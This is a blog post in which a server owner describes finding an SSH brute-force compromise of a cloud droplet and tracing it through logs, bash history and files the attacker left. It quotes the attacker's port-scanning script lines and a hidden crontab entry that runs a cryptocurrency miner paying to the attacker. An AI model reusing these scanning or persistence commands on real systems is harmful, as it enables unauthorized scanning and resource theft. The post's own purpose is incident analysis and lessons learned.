I got an email from DigitalOcean yesterday that looked pretty alarming:
Please review the following abuse complaint and provide us with a resolution:
We have noticed suspicious activity from 126.96.36.199 aimed at one of our servers. Please investigate this host and disable whichever exploit or malware is causing this activity. For more information or questions please refer to our website located at http://www.abuse.bz/ Here are our raw logs:
[2013-11-16 04:23:14 CET] [Timestamp: 1384572194] [10470236.419446] Firewall: TCP_IN Blocked IN=eth0 OUT= SRC=188.8.131.52 DST=184.108.40.206 LEN=48 TOS=0x00 PREC=0x00 TTL=116 ID=22480 PROTO=TCP SPT=65529 DPT=5038 WINDOW=65535 RES=0x00 SYN URGP=0
[2013-11-16 04:23:14 CET] [Timestamp: 1384572195] [10470236.491926] Firewall: TCP_IN Blocked IN=eth0 OUT= SRC=220.127.116.11 DST=18.104.22.168 LEN=48 TOS=0x00 PREC=0x00 TTL=117 ID=4984 PROTO=TCP SPT=65529 DPT=5038 WINDOW=65535 RES=0x00 SYN URGP=0
[2013-11-16 04:23:14 CET] [Timestamp: 1384572195] [10470236.600632] Firewall: TCP_IN Blocked IN=eth0 OUT= SRC=22.214.171.124 DST=126.96.36.199 LEN=48 TOS=0x00 PREC=0x00 TTL=116 ID=20240 PROTO=TCP SPT=65529 DPT=5038 WINDOW=65535 RES=0x00 SYN URGP=0
Please note that generating multiple abuse complaints in a short period of time may lead to your account being suspended.
I had no idea what they were talking about, so I asked them what that meant. They responded with:
This report indicates that your droplet is sending unauthorized traffic to the complaining party. The traffic seems to originate from TCP Port 65529 on your droplet. Please investigate what service or application this may be, and cease the activity.
I had no idea what happened, so I logged into my box and checked my processes. Turns out there was some strange processes running -
screen - taking up all of my cpu. I didn't know what
ss was so I killed it, and cpu usage dropped back to 0. Weird. I checked my usage graphs on DigitalOcean, and I saw something weirder.
What the fuck is this? This is very suspicious indeed. I did a quick search for ss and screen, and found this guy who had gotten ssh bruteforced. It looks like the same thing happened to me. But wait, I said, I know how to use the Internet. I know how passwords work. I'm better than this. I never get hacked.
Then I realized what the password on one of my accounts was. 1234.
Looking through my
/var/log/auth.log, I saw a lot of this:
Address 188.8.131.52 maps to gamepad.pl, but this does not map back to the address - POSSIBLE BREAK-IN ATTEMPT! Invalid user fskjl32l32 from 184.108.40.206 Address 220.127.116.11 maps to gamepad.pl, but this does not map back to the address - POSSIBLE BREAK-IN ATTEMPT! Invalid user abc from 18.104.22.168 Address 22.214.171.124 maps to gamepad.pl, but this does not map back to the address - POSSIBLE BREAK-IN ATTEMPT! Invalid user abc123 from 126.96.36.199
So, as expected, my box was constantly being bruteforced. The only reason I lasted 5 months is because I'm using key-based login on
root, and I'm not using common usernames like
user. I did a search for successful logins by password:
root@poop:/var/log# grep -ri "accepted password" auth.log* auth.log.3:Nov 1 06:54:24 localhost sshd: Accepted password for wang from 188.8.131.52 port 46790 ssh2 auth.log.1:Nov 3 15:58:13 localhost sshd: Accepted password for wang from 184.108.40.206 port 43976 ssh2
And there it is. The
wang user happens to be a sudoer, too. This guy first got in more than 2 weeks ago. What other users did he try?
root@poop:/var/log# grep -ri "220.127.116.11" auth.log* auth.log.3:Nov 1 06:54:24 localhost sshd: Accepted password for wang from 18.104.22.168 port 46790 ssh2 auth.log.2:Nov 3 15:58:13 localhost sshd: Accepted password for wang from 22.214.171.124 port 43976 ssh2 auth.log.2:Nov 3 16:11:35 localhost sshd: Invalid user a from 126.96.36.199 auth.log.2:Nov 3 16:11:35 localhost sshd: Failed none for invalid user a from 188.8.131.52 port 43992 ssh2 auth.log.2:Nov 4 01:39:37 localhost sshd: Failed password for root from 184.108.40.206 port 48730 ssh2 auth.log.2:Nov 5 01:57:59 localhost sshd: Failed password for root from 220.127.116.11 port 33949 ssh2
Hmm, not that many actually. However, my logs only go back to October 27, so he was probably trying for a while before he found a valid user.
18.104.22.168 is based in the Czech Republic, but that may just be another compromised machine.
I checked my bash history but could only find this section that wasn't me:
screen -r screen -wipe ls -a cd /var/www ls cd /var/opt ls ls -a cd cd .cpan ls cd lin ls -a cd .kde ls rm -rf bios.txt screen ls ./0-50;./100-150;./150-200;./200-255;./50-100
I also noticed a couple of
screen -r's dispersed throughout, so the attacker may have done other bad things on my system that I don't know about. On my
/root/ folder, I found a
.cpan/ folder, inside containing some perl stuff and some build stuff. And of course, the bag of goodies containing treats like ddos and ssh bruteforce. Here are the contents of the script folder:
root@poop:~/.cpan/lin/.kde# ls -lh total 5.3M -rw-r--r-x 1 bin bin 1.6K Nov 9 05:39 0-50 -rw-r--r-- 1 root root 1.8M Nov 16 12:31 0-50.txt -rw-r--r-x 1 bin bin 1.6K Nov 9 05:39 100-150 -rw-r--r-x 1 bin bin 1.6K Nov 9 05:38 150-200 -rw-r--r-x 1 bin bin 1.6K Nov 9 05:37 200-255 -rw-r--r-x 1 bin bin 1.6K Nov 9 05:38 50-100 -rw-r--r-- 1 root root 2.9M Nov 16 20:34 bios.txt -rw-r--r-x 1 bin bin 16K Feb 20 2009 s -rw-r--r-x 1 bin bin 245K Feb 13 2001 screen -rw------x 1 bin bin 444K Jan 19 2007 ss
The contents of the numbered scripts were all the same:
./ss 5038 -a 1 -i eth0 -s 10 ./ss 5038 -a 2 -i eth0 -s 10 ./ss 5038 -a 3 -i eth0 -s 10 ... ./ss 5038 -a 48 -i eth0 -s 10 ./ss 5038 -a 49 -i eth0 -s 10 ./ss 5038 -a 50 -i eth0 -s 10 cat bios.txt |sort|uniq >> 0-50.txt rm -rf bios.txt
bios.txt was a long list of ips to target, and the
screen files were binaries. It looks like the scripts scan the list of ips for ssh vulnerabilities, so the attacker can try to break into those ips and presumably do the same exact thing, over and over again.
I also found this treat in my crontab:
@hourly export LD_LIBRARY_PATH=/tmp/.ICE-unix/-log/lib;cd /tmp/.ICE-unix/-log/primecoind -datadir=/tmp/.ICE-unix/-log/.primecoin sendtoaddress Ad6ivkTLTxMmBa2iWGFJp8wJkVMhhL6hDp 10 >/dev/null 2>&1
Well, that explains the 100% cpu load. This guy was mining primecoin and sending the coins to himself. Inside that
.primecoin folder was the Primecoin client and wallet.dat file. Sadly, there was nothing in the wallet, though I'm not sure how effective my tiny instance is at hashing.
Good bye, poor instance
Fortunately, the attacker didn't mess with my data or personal files, and nothing on that machine was super private. He could have redirected my site to a bad one, or served viruses directly. I wouldn't even have known. This attack was probably the work of some bored script kiddie somewhere, seeing as he didn't modify the bash history or limit the cpu/network usage to remain undetected. The damage done was minimal, and I got a good learning experience out of it.
After I told DigitalOcean what happened, they recommended me to destroy my instance. I copied all the things I didn't already have on github to my local machine, booted up a new droplet, and set that one up. And, this time, I chose a better password than 1234.